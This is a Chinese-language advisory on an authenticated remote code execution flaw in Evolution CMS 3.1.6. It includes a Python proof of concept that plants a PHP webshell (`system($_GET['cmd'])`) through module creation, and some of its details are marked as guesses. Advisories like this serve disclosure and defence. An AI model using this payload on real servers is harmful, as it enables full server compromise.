IPBUF安全漏洞报告
English
CVE-2021-47939 CVSS 8.8 高危

CVE-2021-47939 Evolution CMS 远程代码执行漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47939
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Evolution CMS

相关标签

远程代码执行RCEEvolution CMSPHP代码注入Web安全CVE-2021-47939

漏洞概述

Evolution CMS 3.1.6版本中存在严重的远程代码执行漏洞。该漏洞允许具有模块创建权限的经过身份验证的用户,通过向模块参数中注入恶意PHP代码来执行任意系统命令。攻击者可以构造特制的POST请求发送至/manager/index.php接口,利用'post'参数携带恶意Payload,从而创建包含后门代码的恶意模块。一旦该模块被调用或访问,服务器将执行攻击者指定的系统命令,导致服务器被完全控制。此漏洞由于对用户输入缺乏严格的过滤和验证,使得恶意代码能够被写入系统并执行,对系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的根本原因在于Evolution CMS在处理模块创建功能时,未能对用户提交的参数(特别是'post'参数)进行充分的安全过滤和消毒。当具有管理员或拥有模块创建权限的用户登录系统后,可以通过后台管理界面或直接向/manager/index.php发送POST请求来创建新模块。在构建请求时,攻击者将恶意的PHP代码(如system函数)注入到模块的相关参数字段中。由于系统直接将用户输入的内容保存为模块配置代码的一部分,并未进行代码层面的转义或隔离,导致这些数据在后续模块加载或调用时被Web服务器作为PHP代码动态解析执行。攻击者利用这一逻辑缺陷,可以绕过常规的权限检查,在服务器上下文中执行任意操作系统命令。利用过程需要低权限的认证账户,但一旦利用成功,攻击者即可提升权限并控制整个Web服务器环境。

攻击链分析

STEP 1
信息收集与访问获取
攻击者识别目标系统为Evolution CMS,并通过网络钓鱼或暴力破解获取具有模块创建权限的低权限账户凭证。
STEP 2
身份认证
攻击者使用获取的凭证登录Evolution CMS后台管理系统,建立有效的会话。
STEP 3
构造恶意请求
攻击者分析POST请求参数,构造包含恶意PHP代码的数据包,将代码注入到'post'参数中。
STEP 4
注入与存储
向/manager/index.php发送恶意请求,系统由于未过滤输入,将恶意代码作为模块内容保存到服务器。
STEP 5
代码执行
当该恶意模块被系统加载或被直接访问时,Web服务器解析其中的PHP代码,执行攻击者指定的系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for Evolution CMS manager target_url = "http://target-site.com/manager/index.php" # Credentials for a low-privileged user with module creation permissions username = "attacker" password = "password" # 1. Authenticate with the application session = requests.Session() login_data = { "username": username, "password": password, "action": "login" } login_response = session.post(target_url, data=login_data) if login_response.status_code == 200: print("[+] Login successful") # 2. Prepare the payload to inject PHP code # The vulnerability resides in the 'post' parameter during module creation # This payload creates a simple webshell php_payload = "system($_GET['cmd']);" exploit_data = { "a": "112", # Action ID for module saving (may vary by version) "mode": "new", "name": "EvilModule", "post": php_payload, # Vulnerable parameter "description": "Benign description" } # 3. Send the exploit request to create the malicious module exploit_response = session.post(target_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] Module creation request sent") # 4. Trigger the exploit (Hypothetical execution) # Assuming the module can be accessed or triggered to execute the code trigger_url = "http://target-site.com/assets/modules/EvilModule.php" cmd = "whoami" trigger_response = session.get(f"{trigger_url}?cmd={cmd}") print(f"[+] Command execution result: {trigger_response.text}") else: print("[-] Exploit request failed") else: print("[-] Login failed")

影响范围

Evolution CMS 3.1.6

防御指南

临时缓解措施
在无法立即升级的情况下,建议暂时禁用模块创建功能,或仅允许管理员通过白名单机制访问相关接口。同时,应密切监控系统日志,检测对/manager/index.php的异常POST请求以及文件系统中出现的可疑PHP文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表